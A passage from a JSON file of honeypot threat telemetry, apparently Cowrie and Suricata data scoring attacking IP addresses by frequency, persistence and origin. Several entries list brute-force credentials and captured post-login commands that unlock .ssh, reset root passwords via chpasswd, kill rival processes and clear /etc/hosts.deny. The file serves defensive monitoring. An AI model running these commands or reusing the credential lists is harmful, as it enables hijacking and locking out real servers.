        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T13:33:04.984000+00:00",
        "last_seen_30d": "2026-05-19T13:34:24.208000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "221.235.194.54": {
      "attack_count": 2,
      "first_seen": "2026-05-14T09:23:33.161Z",
      "last_seen": "2026-05-14T09:23:46.651Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T09:23:33.161000+00:00",
        "last_seen_30d": "2026-05-14T09:25:21.057000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.24.91.115": {
      "attack_count": 2,
      "first_seen": "2026-05-23T08:43:26.373Z",
      "last_seen": "2026-05-23T08:43:55.365Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:43:26.373000+00:00",
        "last_seen_30d": "2026-05-23T08:44:56.813000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.31.108.213": {
      "attack_count": 2,
      "first_seen": "2026-05-06T20:54:08.943Z",
      "last_seen": "2026-05-06T20:54:22.534Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T20:54:08.943000+00:00",
        "last_seen_30d": "2026-05-06T20:55:24.502000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.163.152.149": {
      "attack_count": 2,
      "first_seen": "2026-05-14T11:06:39.044Z",
      "last_seen": "2026-05-14T11:06:54.040Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Makushino",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T11:06:39.044000+00:00",
        "last_seen_30d": "2026-05-14T11:08:00.065000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.202.177.49": {
      "attack_count": 2,
      "first_seen": "2026-05-20T16:02:11.444Z",
      "last_seen": "2026-05-20T16:02:24.044Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kharkiv",
      "asn": 34700,
      "as_org": "Maxnet Telecom, Ltd",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T16:02:11.444000+00:00",
        "last_seen_30d": "2026-05-20T16:03:32.650000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.186.114.223": {
      "attack_count": 2,
      "first_seen": "2026-05-20T18:55:16.770Z",
      "last_seen": "2026-05-20T18:55:48.104Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 49800,
      "as_org": "GNC-Alfa CJSC",
      "threat_score": 32.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 6.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 8,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-20T18:55:16.770000+00:00",
        "last_seen_30d": "2026-05-27T22:13:02.500000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Honeytrap": 5,
        "Cowrie": 2
      }
    },
    "41.142.179.171": {
      "attack_count": 2,
      "first_seen": "2026-05-09T02:20:26.596Z",
      "last_seen": "2026-05-09T02:20:40.397Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "El Jadida",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T02:20:26.596000+00:00",
        "last_seen_30d": "2026-05-09T02:21:48.839000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.50.45.9": {
      "attack_count": 2,
      "first_seen": "2026-05-22T22:12:16.360Z",
      "last_seen": "2026-05-22T22:12:44.604Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:12:16.360000+00:00",
        "last_seen_30d": "2026-05-22T22:13:47.940000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "61.231.155.14": {
      "attack_count": 2,
      "first_seen": "2026-05-27T22:07:40.244Z",
      "last_seen": "2026-05-27T22:07:52.585Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Zhongli District",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T22:07:40.244000+00:00",
        "last_seen_30d": "2026-05-27T22:08:59.739000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "82.192.120.6": {
      "attack_count": 2,
      "first_seen": "2026-05-31T11:02:44.446Z",
      "last_seen": "2026-05-31T11:02:57.196Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 5394,
      "as_org": "UNIDATA S.p.A.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T11:02:44.446000+00:00",
        "last_seen_30d": "2026-05-31T11:04:06.895000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "88.175.103.73": {
      "attack_count": 2,
      "first_seen": "2026-05-13T13:44:12.012Z",
      "last_seen": "2026-05-13T13:44:25.299Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Aulnay-sous-Bois",
      "asn": 12322,
      "as_org": "Free SAS",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T13:44:12.012000+00:00",
        "last_seen_30d": "2026-05-13T13:45:35.341000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "89.139.208.209": {
      "attack_count": 2,
      "first_seen": "2026-05-12T11:58:07.260Z",
      "last_seen": "2026-05-12T11:58:23.017Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Tel Aviv",
      "asn": 1680,
      "as_org": "Cellcom Fixed Line Communication L.P",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T11:58:07.260000+00:00",
        "last_seen_30d": "2026-05-12T11:59:31.883000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "94.8.63.54": {
      "attack_count": 2,
      "first_seen": "2026-05-30T12:42:46.278Z",
      "last_seen": "2026-05-30T12:44:46.279Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Wolverhampton",
      "asn": 5607,
      "as_org": "Sky UK Limited",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T18:57:05.715000+00:00",
        "last_seen_30d": "2026-05-30T12:55:26.001000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "95.145.114.21": {
      "attack_count": 2,
      "first_seen": "2026-05-11T12:50:35.711Z",
      "last_seen": "2026-05-11T12:52:35.712Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Crewe",
      "asn": 2856,
      "as_org": "British Telecommunications PLC",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T12:50:35.711000+00:00",
        "last_seen_30d": "2026-05-11T13:03:12.565000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "95.153.152.130": {
      "attack_count": 2,
      "first_seen": "2026-05-19T19:22:15.171Z",
      "last_seen": "2026-05-19T19:22:28.092Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T19:22:15.171000+00:00",
        "last_seen_30d": "2026-05-19T19:23:37.933000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "98.95.8.110": {
      "attack_count": 2,
      "first_seen": "2026-05-17T08:46:12.858Z",
      "last_seen": "2026-05-17T08:46:43.423Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T08:46:12.858000+00:00",
        "last_seen_30d": "2026-05-17T08:47:47.649000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.153.34.112": {
      "attack_count": 3438,
      "first_seen": "2026-05-11T23:39:00.450Z",
      "last_seen": "2026-05-12T00:19:42.548Z",
      "sessions": 686,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "admin",
        "ubuntu",
        "deploy",
        "test",
        "user1",
        "minecraft",
        "postgres",
        "steam",
        "frappe",
        "git",
        "oracle",
        "app",
        "dmdba",
        "guest",
        "hadoop",
        "es",
        "ftp",
        "ftpuser"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1",
        "password",
        "1234",
        "12345",
        "12345678",
        "1qaz@WSX",
        "123456789",
        "111",
        "1111",
        "123123",
        "Aa123456",
        "abc123",
        "******",
        "111111",
        "Admin@123",
        "P@ssw0rd",
        "admin",
        "admin123"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4821,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T23:38:59.997000+00:00",
        "last_seen_30d": "2026-05-12T00:20:47.115000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3438,
        "Suricata": 1383
      }
    },
    "164.92.100.71": {
      "attack_count": 2682,
      "first_seen": "2026-05-13T16:14:02.848Z",
      "last_seen": "2026-05-14T01:57:20.464Z",
      "sessions": 1341,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4144,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T16:14:02.848000+00:00",
        "last_seen_30d": "2026-05-14T01:58:26.597000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2682,
        "Suricata": 1462
      }
    },
    "101.36.122.186": {
      "attack_count": 651,
      "first_seen": "2026-05-06T19:09:21.698Z",
      "last_seen": "2026-05-31T11:46:47.317Z",
      "sessions": 70,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "git",
        "admin",
        "ftpuser",
        "minecraft",
        "sftp",
        "test",
        "ubuntu22",
        "bot",
        "debian",
        "demo",
        "deployer",
        "fctrserver",
        "ftpadmin",
        "gitlab",
        "guest",
        "james",
        "oracle"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "!1qwerty",
        "1",
        "1020",
        "111",
        "111111",
        "112358",
        "12",
        "123456",
        "1qaz2wsx",
        "2233",
        "Aa123456",
        "Aa123456789",
        "Aa123456789@",
        "Admin@123",
        "P@ssword",
        "Qwe112233",
        "User@123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nLJzoxm8XzPRZ\\nLJzoxm8XzPRZ\\n\"|passwd",
        "echo \"Aa123456789\\nGVSmlqPk7WsS\\nGVSmlqPk7WsS\\n\"|passwd",
        "echo \"pass\\nt3OIUA7TqgiL\\nt3OIUA7TqgiL\\n\"|passwd",
        "echo \"root:mJ0fuT3VBfhR\"|chpasswd|bash",
        "echo \"root:ri5d8yPtim9q\"|chpasswd|bash",
        "echo -e \"12345678\\nLJzoxm8XzPRZ\\nLJzoxm8XzPRZ\"|passwd|bash",
        "echo -e \"Aa123456789\\nGVSmlqPk7WsS\\nGVSmlqPk7WsS\"|passwd|bash",
        "echo -e \"pass\\nt3OIUA7TqgiL\\nt3OIUA7TqgiL\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 62.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 29.1,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 810,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T19:09:21.698000+00:00",
        "last_seen_30d": "2026-05-31T11:47:54.379000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 651,
        "Suricata": 159
      }
    },
    "112.119.21.245": {
      "attack_count": 594,
      "first_seen": "2026-05-10T14:08:19.682Z",
      "last_seen": "2026-05-20T17:31:34.315Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ubuntu",
        "deploy",
        "ftp",
        "gameserver",
        "ryu",
        "user",
        "admin1",
        "arkserver",
        "bei",
        "catuser",
        "cheng",
        "es",
        "ftptest",
        "hao",
        "huangwei",
        "icinga",
        "jindong"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "0000",
        "1234",
        "12345678",
        "123456789",
        "141414",
        "1z2x3c4v5",
        "20002000",
        "2026",
        "P@ssw0rd",
        "a",
        "abc@123",
        "admin!23",
        "admin123",
        "admin5com",
        "admin8520",
        "bei123",
        "catuser"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nB8m0ZqvJ2gxk\\nB8m0ZqvJ2gxk\\n\"|passwd",
        "echo \"123456\\nY83v4L2DT1jQ\\nY83v4L2DT1jQ\\n\"|passwd",
        "echo \"p@$$w0rd\\nZaSJO1pbjzqv\\nZaSJO1pbjzqv\\n\"|passwd",
        "echo \"password\\nw178t0H4EXtE\\nw178t0H4EXtE\\n\"|passwd",
        "echo \"root:O2XRFcrmBrLl\"|chpasswd|bash",
        "echo -e \"123456\\nB8m0ZqvJ2gxk\\nB8m0ZqvJ2gxk\"|passwd|bash",
        "echo -e \"123456\\nY83v4L2DT1jQ\\nY83v4L2DT1jQ\"|passwd|bash",
        "echo -e \"p@$$w0rd\\nZaSJO1pbjzqv\\nZaSJO1pbjzqv\"|passwd|bash",
        "echo -e \"password\\nw178t0H4EXtE\\nw178t0H4EXtE\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 31.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.6,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 725,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T14:08:19.682000+00:00",
        "last_seen_30d": "2026-05-20T17:32:39.650000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 594,
        "Suricata": 131
      }
    },
    "161.81.159.134": {
      "attack_count": 560,
      "first_seen": "2026-05-21T06:40:00.182Z",
      "last_seen": "2026-05-22T09:39:02.356Z",
      "sessions": 280,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 137872,
      "as_org": "China Mobile Hong Kong Company Limited",
      "threat_score": 30.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 840,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:40:00.182000+00:00",
        "last_seen_30d": "2026-05-22T09:40:12.217000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 560,
        "Suricata": 280
      }
    },
    "186.68.83.104": {
      "attack_count": 496,
      "first_seen": "2026-05-20T03:39:24.495Z",
      "last_seen": "2026-05-30T20:12:59.347Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ali",
        "claude",
        "curl",
        "deploy",
        "mysqld",
        "test",
        "ubuntu",
        "aaa",
        "apollo",
        "bryan",
        "cloud",
        "deep",
        "ec2-user",
        "frappe",
        "ftp_test",
        "ftpadmin",
        "git",
        "greg"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "Claude2026!",
        "test",
        "welltech12",
        "!QAZ2wsx2025",
        "102030",
        "1111",
        "123123",
        "12345!",
        "12345678",
        "123qweasdzxc",
        "1qaz2wsx@",
        "Aa888888",
        "Black@123",
        "P@ssw0rd.2026",
        "P@ssw0rd@2023",
        "Pa$$w0rd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123qweasdzxc\\nnnRyoH0h8vrP\\nnnRyoH0h8vrP\\n\"|passwd",
        "echo \"mysqld\\nqRa4mNcYxJR5\\nqRa4mNcYxJR5\\n\"|passwd",
        "echo \"root:l9FuWApsC44l\"|chpasswd|bash",
        "echo -e \"123qweasdzxc\\nnnRyoH0h8vrP\\nnnRyoH0h8vrP\"|passwd|bash",
